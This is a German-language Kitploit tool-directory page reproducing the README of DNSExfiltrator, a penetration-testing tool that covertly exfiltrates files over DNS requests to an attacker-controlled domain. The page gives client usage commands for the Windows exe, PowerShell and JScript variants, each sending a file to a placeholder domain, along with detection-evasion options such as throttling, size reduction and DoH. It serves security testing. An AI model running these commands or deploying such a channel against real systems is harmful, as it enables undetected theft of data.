Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DNSExfiltrator — Datenexfiltration über verdeckten DNS-Request-Kanal | Kitploit
Tools/GitHubGitHub/arno0x/dnsexfiltrator
DatenexfiltrationPenetrationstestsRed TeamingDNS-Analyse
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

Datenexfiltration über verdeckten DNS-Request-Kanal

Repository anzeigen
8841903vor 8 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

DNSExfiltrator

Autor: Arno0x0x - @Arno0x0x

DNSExfiltrator ermöglicht die Übertragung (Exfiltration) einer Datei über einen verdeckten DNS-Anforderungskanal. Im Grunde ist dies ein Tool zum Testen von Datenlecks, das die Exfiltration von Daten über einen verdeckten Kanal erlaubt.

DNSExfiltrator besteht aus zwei Seiten:

  1. Die Serverseite, die als einzelnes Python-Skript (dnsexfiltrator.py) daherkommt und als benutzerdefinierter DNS-Server fungiert, der die Datei empfängt.
  2. Die Clientseite (Opferseite), die in drei Varianten erhältlich ist:
  • dnsExfiltrator.cs: Ein C#-Skript, das mit csc.exe kompiliert werden kann, um eine verwaltete Windows-Ausführungsdatei zu erhalten.
  • Invoke-DNSExfiltrator.ps1: Ein PowerShell-Skript, das dieselben Funktionen bietet, indem es die dnsExfiltrator-Assembly kapselt.
  • dnsExfiltrator.js: Ein JScript-Skript, das eine Konvertierung der dnsExfiltrator-DLL-Assembly mit DotNetToJScript ist und dieselben Funktionen bietet.

Damit das Ganze funktioniert, müssen Sie eine Domain besitzen und den DNS-Eintrag (NS) für diese Domain auf den Server setzen, der die Serverseite von dnsexfiltrator.py ausführt.

Funktionen

Standardmäßig verwendet DNSExfiltrator den systemdefinierten DNS-Server, Sie können aber auch einen bestimmten angeben (nützlich für Debugging-Zwecke oder um die Serverseite lokal auszuführen).

Alternativ kann DNSExfiltrator mit dem Parameter h DoH (DNS over HTTP) über die Google- oder CloudFlare-DoH-Server durchführen.

Standardmäßig werden die zu exfiltrierenden Daten base64URL-kodiert, um in DNS-Anfragen zu passen. Einige DNS-Resolver könnten diese Kodierung jedoch zerstören (fairerweise, da FQDNs nicht case-sensitiv sein sollen), indem sie die Groß-/Kleinschreibung verändern, was für den Kodierungs-/Dekodierungsprozess offensichtlich wichtig ist. Um dieses Problem zu umgehen, können Sie das Flag -b32 verwenden, um eine Base32-Kodierung der Daten zu erzwingen, was einen geringfügigen Größenzuschlag mit sich bringt. Wenn Sie CloudFlare-DoH verwenden, wird die Base32-Kodierung automatisch angewendet.

DNSExfiltrator unterstützt eine grundlegende RC4-Verschlüsselung der exfiltrierten Daten, wobei das angegebene Passwort zum Ver- und Entschlüsseln der Daten verwendet wird.

DNSExfiltrator bietet außerdem einige optionale Funktionen zur Erkennungsvermeidung:

  • Drosselung von Anfragen, um bei der Exfiltration von Daten unauffälliger zu bleiben.
  • Reduzierung der DNS-Anfragegröße (standardmäßig wird versucht, so viele Bytes wie möglich in jeder DNS-Anfrage zu nutzen, um effizient zu sein).
  • Reduzierung der DNS-Label-Größe (standardmäßig wird versucht, die maximal unterstützte Label-Größe von 63 Zeichen zu verwenden).

Abhängigkeiten

Die einzige Abhängigkeit besteht auf der Serverseite, da das Skript dnsexfiltrator.py auf der externen Bibliothek dnslib basiert. Sie können es mit pip installieren:

root@kitploit:~
pip install -r requirements.txt

Verwendung

SERVERSEITE

Starten Sie das Skript dnsexfiltrator.py mit dem Domainnamen und dem Entschlüsselungspasswort:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

CLIENTSEITE

Sie können entweder die kompilierte Version, oder den PowerShell-Wrapper (im Grunde dasselbe) oder den JScript-Wrapper verwenden. In jedem Fall sind die Parameter gleich, mit einem kleinen Unterschied in der Art und Weise, wie sie in PowerShell übergeben werden.

1/ Verwendung der kompilierten C#-Windows-Exe (die Sie im Verzeichnis release finden):

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [ERFORDERLICH] Der Dateiname der zu exfiltrierenden Datei.
      domainName:     [ERFORDERLICH] Der Domainname, der für DNS-Anfragen verwendet werden soll.
      password:       [ERFORDERLICH] Passwort zur Verschlüsselung der zu exfiltrierenden Daten.
      -b32:           [OPTIONAL] Verwendung der Base32-Kodierung der Daten. Kann von manchen DNS-Resolver erforderlich sein, die die Groß-/Kleinschreibung brechen.
      h:              [OPTIONAL] Verwendung von Google- oder CloudFlare-DoH-Servern (DNS over HTTP).
      DNS_Server:     [OPTIONAL] Der DNS-Servername oder die IP, der/die für DNS-Anfragen verwendet werden soll. Standardmäßig der systemeigene.
      throttleTime:   [OPTIONAL] Die Zeit in Millisekunden, die zwischen jeder DNS-Anfrage gewartet werden soll.
      requestMaxSize: [OPTIONAL] Die maximale Größe in Bytes für jede DNS-Anfrage. Standardmäßig 255 Bytes.
      labelMaxSize:   [OPTIONAL] Die maximale Größe in Zeichen für jedes DNS-Anfragen-Label (Subdomain). Standardmäßig 63 Zeichen.

2/ Bei Verwendung des PowerShell-Skripts rufen Sie es auf eine Ihrer bevorzugten Arten auf (Sie kennen wahrscheinlich unzählige Möglichkeiten, ein PowerShell-Skript aufzurufen) zusammen mit den Skriptparametern. Einfachstes Beispiel:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

Weitere Verwendungsbeispiele finden Sie im Abschnitt EXAMPLES in der Skriptdatei.

3/ Bei Verwendung des JScript-Skripts übergeben Sie die exakt gleichen Argumente wie bei der eigenständigen Windows-Exe:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

Oder mit einigen Optionen:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

TODO

  • Manche werden nach AES-Verschlüsselung anstelle von RC4 fragen, ich weiß... könnte später hinzugefügt werden.
  • Anzeige der geschätzten Übertragungszeit.
  • Bessere Argumentparsierung (ich bin zu faul, eine C#-Argumentparsierungsbibliothek zu lernen; ich wünschte, es wäre so einfach wie in Python).

HAFTUNGSAUSSCHLUSS

Dieses Tool ist nur für legale und legitime Zwecke bestimmt:

  • entweder auf Ihren eigenen Systemen, um zu lernen, zu demonstrieren, was möglich ist und wie, oder um Ihre Abwehr- und Erkennungsmechanismen zu testen.
  • auf Systemen, für die Sie offiziell und legitim berechtigt wurden, Sicherheitsbewertungen (Pentests, Sicherheitsaudits) durchzuführen.

Zitat der Empire-Autoren: Es gibt keine Möglichkeit, offensive Tools zu entwickeln, die für die legitime Informationssicherheitsbranche nützlich sind, und gleichzeitig zu verhindern, dass böswillige Akteure sie missbrauchen.

Tool herunterladen